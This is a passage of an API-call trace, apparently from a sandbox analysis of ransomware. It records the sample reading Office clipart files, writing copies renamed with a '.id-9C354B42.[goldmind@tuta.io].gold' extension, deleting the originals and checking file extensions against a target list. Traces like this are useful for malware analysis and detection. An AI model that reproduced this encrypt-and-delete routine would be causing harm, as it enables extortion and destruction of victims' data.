(lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0110.781] GetLastError () returned 0x0 [0110.781] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4464, lpOverlapped=0x0) returned 1 [0110.783] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4470, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4470, lpOverlapped=0x0) returned 1 [0110.783] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0110.783] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0110.784] SetEndOfFile (hFile=0x3b4) returned 1 [0110.784] CloseHandle (hObject=0x3b4) returned 1 [0110.784] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0110.784] SetEndOfFile (hFile=0x394) returned 1 [0110.973] CloseHandle (hObject=0x394) returned 1 [0110.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 1 [0111.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.060] lstrlenW (lpString=".doc") returned 4 [0111.060] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString=".docx") returned 5 [0111.060] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0111.060] lstrlenW (lpString=".pdf") returned 4 [0111.060] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString=".xls") returned 4 [0111.060] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.060] lstrlenW (lpString=".xlsx") returned 5 [0111.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0111.060] lstrlenW (lpString=".ppt") returned 4 [0111.060] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.060] lstrlenW (lpString=".zip") returned 4 [0111.060] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.060] lstrlenW (lpString=".rar") returned 4 [0111.060] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString=".bz2") returned 4 [0111.060] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString=".7z") returned 3 [0111.060] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.060] lstrlenW (lpString=".dbf") returned 4 [0111.060] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.060] lstrlenW (lpString=".1cd") returned 4 [0111.060] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".jpg") returned 4 [0111.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".doc") returned 4 [0111.061] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString=".docx") returned 5 [0111.061] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0111.061] lstrlenW (lpString=".pdf") returned 4 [0111.061] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString=".xls") returned 4 [0111.061] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.061] lstrlenW (lpString=".xlsx") returned 5 [0111.061] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0111.061] lstrlenW (lpString=".ppt") returned 4 [0111.061] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".zip") returned 4 [0111.061] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.061] lstrlenW (lpString=".rar") returned 4 [0111.061] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString=".bz2") returned 4 [0111.061] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString=".7z") returned 3 [0111.061] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".dbf") returned 4 [0111.061] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".1cd") returned 4 [0111.061] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned 63 [0111.061] lstrlenW (lpString=".jpg") returned 4 [0111.061] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.061] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.061] lstrlenW (lpString="J0157167.WMF") returned 12 [0111.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0111.068] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=46702) returned 1 [0111.068] CloseHandle (hObject=0x19c) returned 1 [0111.069] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0111.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0111.230] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.230] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0111.231] GetLastError () returned 0x0 [0111.231] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xb66e, lpOverlapped=0x0) returned 1 [0111.233] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xb670, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xb670, lpOverlapped=0x0) returned 1 [0111.234] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0111.234] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.234] SetEndOfFile (hFile=0x3f4) returned 1 [0111.234] CloseHandle (hObject=0x3f4) returned 1 [0111.234] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.234] SetEndOfFile (hFile=0x3f0) returned 1 [0111.236] CloseHandle (hObject=0x3f0) returned 1 [0111.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".doc") returned 4 [0111.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".docx") returned 5 [0111.238] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.238] lstrlenW (lpString=".pdf") returned 4 [0111.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".xls") returned 4 [0111.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.238] lstrlenW (lpString=".xlsx") returned 5 [0111.238] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.238] lstrlenW (lpString=".ppt") returned 4 [0111.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".zip") returned 4 [0111.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.238] lstrlenW (lpString=".rar") returned 4 [0111.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".bz2") returned 4 [0111.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".7z") returned 3 [0111.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".dbf") returned 4 [0111.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".1cd") returned 4 [0111.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".jpg") returned 4 [0111.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".doc") returned 4 [0111.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".docx") returned 5 [0111.238] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.238] lstrlenW (lpString=".pdf") returned 4 [0111.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString=".xls") returned 4 [0111.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.238] lstrlenW (lpString=".xlsx") returned 5 [0111.238] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.238] lstrlenW (lpString=".ppt") returned 4 [0111.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.238] lstrlenW (lpString=".zip") returned 4 [0111.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.239] lstrlenW (lpString=".rar") returned 4 [0111.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.239] lstrlenW (lpString=".bz2") returned 4 [0111.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.239] lstrlenW (lpString=".7z") returned 3 [0111.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.239] lstrlenW (lpString=".dbf") returned 4 [0111.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.239] lstrlenW (lpString=".1cd") returned 4 [0111.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF") returned 63 [0111.239] lstrlenW (lpString=".jpg") returned 4 [0111.239] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.239] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.239] lstrlenW (lpString="J0171847.WMF") returned 12 [0111.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0111.240] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6888) returned 1 [0111.240] CloseHandle (hObject=0x3f0) returned 1 [0111.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 0x20 [0111.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0111.242] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.242] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0111.243] GetLastError () returned 0x0 [0111.243] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1ae8, lpOverlapped=0x0) returned 1 [0111.244] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1af0, lpOverlapped=0x0) returned 1 [0111.245] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0111.245] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0111.245] SetEndOfFile (hFile=0x3f4) returned 1 [0111.246] CloseHandle (hObject=0x3f4) returned 1 [0111.246] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.246] SetEndOfFile (hFile=0x3f0) returned 1 [0111.247] CloseHandle (hObject=0x3f0) returned 1 [0111.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0111.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171847.wmf")) returned 1 [0111.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.248] lstrlenW (lpString=".doc") returned 4 [0111.248] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.248] lstrlenW (lpString=".docx") returned 5 [0111.248] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.248] lstrlenW (lpString=".pdf") returned 4 [0111.248] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.248] lstrlenW (lpString=".xls") returned 4 [0111.248] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.248] lstrlenW (lpString=".xlsx") returned 5 [0111.248] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.249] lstrlenW (lpString=".ppt") returned 4 [0111.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".zip") returned 4 [0111.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.249] lstrlenW (lpString=".rar") returned 4 [0111.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".bz2") returned 4 [0111.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".7z") returned 3 [0111.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".dbf") returned 4 [0111.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".1cd") returned 4 [0111.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".jpg") returned 4 [0111.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".doc") returned 4 [0111.249] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".docx") returned 5 [0111.249] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0111.249] lstrlenW (lpString=".pdf") returned 4 [0111.249] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".xls") returned 4 [0111.249] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0111.249] lstrlenW (lpString=".xlsx") returned 5 [0111.249] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0111.249] lstrlenW (lpString=".ppt") returned 4 [0111.249] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".zip") returned 4 [0111.249] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0111.249] lstrlenW (lpString=".rar") returned 4 [0111.249] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".bz2") returned 4 [0111.249] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString=".7z") returned 3 [0111.249] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".dbf") returned 4 [0111.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".1cd") returned 4 [0111.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0111.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171847.WMF") returned 63 [0111.249] lstrlenW (lpString=".jpg") returned 4 [0111.249] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0111.250] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0111.250] lstrlenW (lpString="J0172035.WMF") returned 12 [0111.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0111.250] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=7448) returned 1 [0111.250] CloseHandle (hObject=0x3f0) returned 1 [0111.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf")) returned 0x20 [0111.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0111.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0 [0111.251] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.251] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0111.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0172035.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0172035.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0111.251] GetLastError () returned 0x0 [0111.252] ReadFile (in: hFile=0x3f0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x1d18, lpOverlapped=0x0) returned 1 [0111.253] WriteFile (in: hFile=0x3f4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1d20, 